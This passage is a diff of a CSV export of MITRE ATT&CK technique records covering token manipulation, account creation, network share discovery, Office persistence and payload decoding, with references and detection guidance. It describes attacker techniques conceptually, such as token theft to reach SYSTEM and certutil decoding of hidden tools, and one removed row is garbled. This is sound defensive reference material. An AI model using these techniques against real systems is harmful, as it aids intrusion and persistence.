'https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx', 'description': 'Microsoft TechNet. (n.d.). Retrieved April 25, 2017.', 'source_name': 'Microsoft ImpersonateLoggedOnUser'}, {'url': 'https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf', 'description': 'Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.', 'source_name': 'BlackHat Atkinson Winchester Token Manipulation'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",2.0,False,https://attack.mitre.org/techniques/T1134,mitre-attack,T1134,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Access Token Manipulation,"Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. +Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.",False,['User'],"['Windows', 'Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1134', 'external_id': 'T1134'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/633.html', 'external_id': 'CAPEC-633'}, {'source_name': 'Pentestlab Token Manipulation', 'description': 'netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.', 'url': 'https://pentestlab.blog/2017/04/03/token-manipulation/'}, {'source_name': 'Microsoft Command-line Logging', 'description': 'Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', 'url': 'https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing'}, {'source_name': 'Microsoft LogonUser', 'description': 'Microsoft TechNet. (n.d.). Retrieved April 25, 2017.', 'url': 'https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx'}, {'source_name': 'Microsoft DuplicateTokenEx', 'description': 'Microsoft TechNet. (n.d.). Retrieved April 25, 2017.', 'url': 'https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx'}, {'source_name': 'Microsoft ImpersonateLoggedOnUser', 'description': 'Microsoft TechNet. (n.d.). Retrieved April 25, 2017.', 'url': 'https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx'}, {'source_name': 'BlackHat Atkinson Winchester Token Manipulation', 'description': 'Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.', 'url': 'https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf'}]",2.0,attack-pattern,attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-12-14T16:46:06.044Z,2021-10-17T14:51:49.334Z,Access Token Manipulation,"Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation) -Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.",attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48,attack-pattern,"['defense-evasion', 'privilege-escalation']",2021-04-24T13:40:52.952Z,2017-12-14T16:46:06.044Z,"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) +Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1134,mitre-attack,T1134,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Tom Ueltschi @c_APT_ure', 'Travis Smith, Tripwire', 'Robby Winchester, @robwinchester3', 'Jared Atkinson, @jaredcatkinson']","['Process: Process Creation', 'Process: Process Metadata', 'Process: OS API Execution', 'User Account: User Account Metadata', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution']","['Windows User Account Control', 'System access controls', 'File system access controls', 'Heuristic Detection', 'Host forensic analysis']","If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. @@ -3034,48 +3258,33 @@ There are many Windows API calls a payload can take advantage of to manipulate a Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation) -Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.","['Process: Process Creation', 'Process: Process Metadata', 'Process: OS API Execution', 'User Account: User Account Metadata', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution']","['Tom Ueltschi @c_APT_ure', 'Travis Smith, Tripwire', 'Robby Winchester, @robwinchester3', 'Jared Atkinson, @jaredcatkinson']","['Windows User Account Control', 'System access controls', 'File system access controls', 'Heuristic Detection', 'Host forensic analysis']","['User', 'Administrator']",['Windows'],,CAPEC-633,https://capec.mitre.org/data/definitions/633.html,,,['SYSTEM'],,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1136', 'url': 'https://attack.mitre.org/techniques/T1136'}, {'source_name': 'Microsoft User Creation Event', 'description': 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",2.2,False,https://attack.mitre.org/techniques/T1136,mitre-attack,T1136,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Create Account,"Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. - -Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.",attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67,attack-pattern,['persistence'],2021-03-16T12:47:00.458Z,2017-12-14T16:46:06.044Z,"Monitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary. - -Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.","['User Account: User Account Creation', 'Process: Process Creation', 'Command: Command Execution']","['Microsoft Threat Intelligence Center (MSTIC)', 'Praetorian']",,['Administrator'],"['Windows', 'Azure AD', 'Office 365', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1149', 'url': 'https://attack.mitre.org/techniques/T1149'}, {'url': 'https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf', 'description': 'Bit9 + Carbon Black Threat Research Team. (2015). 2015: The Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.', 'source_name': 'Prolific OSX Malware History'}, {'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'source_name': 'Methods of Mac Malware Persistence'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",2.0,False,https://attack.mitre.org/techniques/T1149,mitre-attack,T1149,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,LC_MAIN Hijacking,"**This technique has been deprecated and should no longer be used.** - -As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.",attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373,attack-pattern,['defense-evasion'],2020-03-30T13:53:57.518Z,2017-12-14T16:46:06.044Z,"Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.",,,"['Application whitelisting', 'Process whitelisting', 'Whitelisting by file name or path']","['User', 'Administrator']",['macOS'],,,,,,,,True,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1137', 'url': 'https://attack.mitre.org/techniques/T1137'}, {'source_name': 'SensePost Ruler GitHub', 'url': 'https://github.com/sensepost/ruler', 'description': 'SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.'}, {'source_name': 'TechNet O365 Outlook Rules', 'url': 'https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/', 'description': 'Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.'}, {'source_name': 'CrowdStrike Outlook Forms', 'url': 'https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746', 'description': 'Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.'}, {'source_name': 'Outlook Today Home Page', 'url': 'https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943', 'description': 'Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.'}, {'source_name': 'Microsoft Detect Outlook Forms', 'url': 'https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack', 'description': 'Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.'}, {'source_name': 'SensePost NotRuler', 'url': 'https://github.com/sensepost/notruler', 'description': 'SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.2,False,https://attack.mitre.org/techniques/T1137,mitre-attack,T1137,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Office Application Startup,"Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins. - -A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)",attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53,attack-pattern,['persistence'],2020-06-25T17:48:09.417Z,2017-12-14T16:46:06.044Z,"Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously. - -Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) - -Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)","['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification', 'Module: Module Load', 'Application Log: Application Log Content']","['Nick Carr, FireEye', 'Microsoft Threat Intelligence Center (MSTIC)', 'Sahar Shukrun', 'Praetorian', 'Loic Jaquemet', 'Ricardo Dias']",,"['User', 'Administrator']","['Windows', 'Office 365']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1140', 'url': 'https://attack.mitre.org/techniques/T1140'}, {'url': 'https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/', 'description': 'Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.', 'source_name': 'Malwarebytes Targeted Attack against Saudi Arabia'}, {'url': 'https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/', 'description': 'Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.', 'source_name': 'Carbon Black Obfuscation Sept 2016'}, {'url': 'https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/', 'description': 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.', 'source_name': 'Volexity PowerDuke November 2016'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,False,https://attack.mitre.org/techniques/T1140,mitre-attack,T1140,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Deobfuscate/Decode Files or Information,"Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. +Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.",False,"['User', 'Administrator']",['Windows'],,CAPEC-633,https://capec.mitre.org/data/definitions/633.html,,,['SYSTEM'],,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1136', 'external_id': 'T1136'}, {'source_name': 'Microsoft User Creation Event', 'description': 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720'}]",2.2,attack-pattern,attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-12-14T16:46:06.044Z,2021-08-12T13:04:14.534Z,Create Account,"Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. -One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016) +Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.",['persistence'],https://attack.mitre.org/techniques/T1136,mitre-attack,T1136,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Microsoft Threat Intelligence Center (MSTIC)', 'Praetorian']","['User Account: User Account Creation', 'Process: Process Creation', 'Command: Command Execution']",,"Monitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary. -Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)",attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c,attack-pattern,['defense-evasion'],2020-07-09T14:42:23.122Z,2017-12-14T16:46:06.044Z,"Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160). +Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.",False,['Administrator'],"['Windows', 'Azure AD', 'Office 365', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1135', 'external_id': 'T1135'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/643.html', 'external_id': 'CAPEC-643'}, {'source_name': 'Wikipedia Shared Resource', 'description': 'Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.', 'url': 'https://en.wikipedia.org/wiki/Shared_resource'}, {'source_name': 'TechNet Shared Folder', 'description': 'Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.', 'url': 'https://technet.microsoft.com/library/cc770880.aspx'}]",3.1,attack-pattern,attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-12-14T16:46:06.044Z,2021-10-13T18:10:57.185Z,Network Share Discovery,"Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. -Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.","['Process: Process Creation', 'File: File Modification', 'Script: Script Execution']","['Matthew Demaske, Adaptforward', 'Red Canary']","['Anti-virus', 'Host intrusion prevention systems', 'Signature-based detection', 'Network intrusion detection system']",['User'],"['Windows', 'Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1135', 'url': 'https://attack.mitre.org/techniques/T1135'}, {'external_id': 'CAPEC-643', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/643.html'}, {'url': 'https://en.wikipedia.org/wiki/Shared_resource', 'description': 'Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.', 'source_name': 'Wikipedia Shared Resource'}, {'url': 'https://technet.microsoft.com/library/cc770880.aspx', 'description': 'Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.', 'source_name': 'TechNet Shared Folder'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",3.0,False,https://attack.mitre.org/techniques/T1135,mitre-attack,T1135,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Share Discovery,"Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. +File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.",['discovery'],https://attack.mitre.org/techniques/T1135,mitre-attack,T1135,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share.",attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f,attack-pattern,['discovery'],2020-12-29T19:07:11.154Z,2017-12-14T16:46:06.044Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,['User'],"['macOS', 'Windows', 'Linux']",,CAPEC-643,https://capec.mitre.org/data/definitions/643.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1137', 'external_id': 'T1137'}, {'source_name': 'SensePost Ruler GitHub', 'description': 'SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.', 'url': 'https://github.com/sensepost/ruler'}, {'source_name': 'TechNet O365 Outlook Rules', 'description': 'Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.', 'url': 'https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/'}, {'source_name': 'CrowdStrike Outlook Forms', 'description': 'Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.', 'url': 'https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746'}, {'source_name': 'Outlook Today Home Page', 'description': 'Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.', 'url': 'https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943'}, {'source_name': 'Microsoft Detect Outlook Forms', 'description': 'Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.', 'url': 'https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack'}, {'source_name': 'SensePost NotRuler', 'description': 'SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.', 'url': 'https://github.com/sensepost/notruler'}]",1.3,attack-pattern,attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-12-14T16:46:06.044Z,2021-10-15T20:18:31.112Z,Office Application Startup,"Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins. -Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",['Praetorian'],,['User'],"['macOS', 'Windows', 'Linux']",,CAPEC-643,https://capec.mitre.org/data/definitions/643.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1153', 'url': 'https://attack.mitre.org/techniques/T1153'}, {'source_name': 'Source Manual', 'url': 'https://ss64.com/bash/source.html', 'description': 'ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",2.0,False,https://attack.mitre.org/techniques/T1153,mitre-attack,T1153,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Source,"**This technique has been deprecated and should no longer be used.** +A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)",['persistence'],https://attack.mitre.org/techniques/T1137,mitre-attack,T1137,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Nick Carr, Mandiant', 'Microsoft Threat Intelligence Center (MSTIC)', 'Sahar Shukrun', 'Praetorian', 'Loic Jaquemet', 'Ricardo Dias']","['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification', 'Module: Module Load', 'Application Log: Application Log Content']",,"Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously. -The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or .**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]. Take note of the space after the ""."". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual) +Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) -Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.",attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0,attack-pattern,['execution'],2020-03-30T13:40:14.512Z,2017-12-14T16:46:06.044Z,"Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.",,,,['User'],"['Linux', 'macOS']",False,,,,,,,True,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1133', 'url': 'https://attack.mitre.org/techniques/T1133'}, {'external_id': 'CAPEC-555', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/555.html'}, {'url': 'https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/', 'description': 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.', 'source_name': 'Volexity Virtual Private Keylogging'}, {'source_name': 'Trend Micro Exposed Docker Server', 'url': 'https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html', 'description': 'Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.'}, {'source_name': 'Unit 42 Hildegard Malware', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 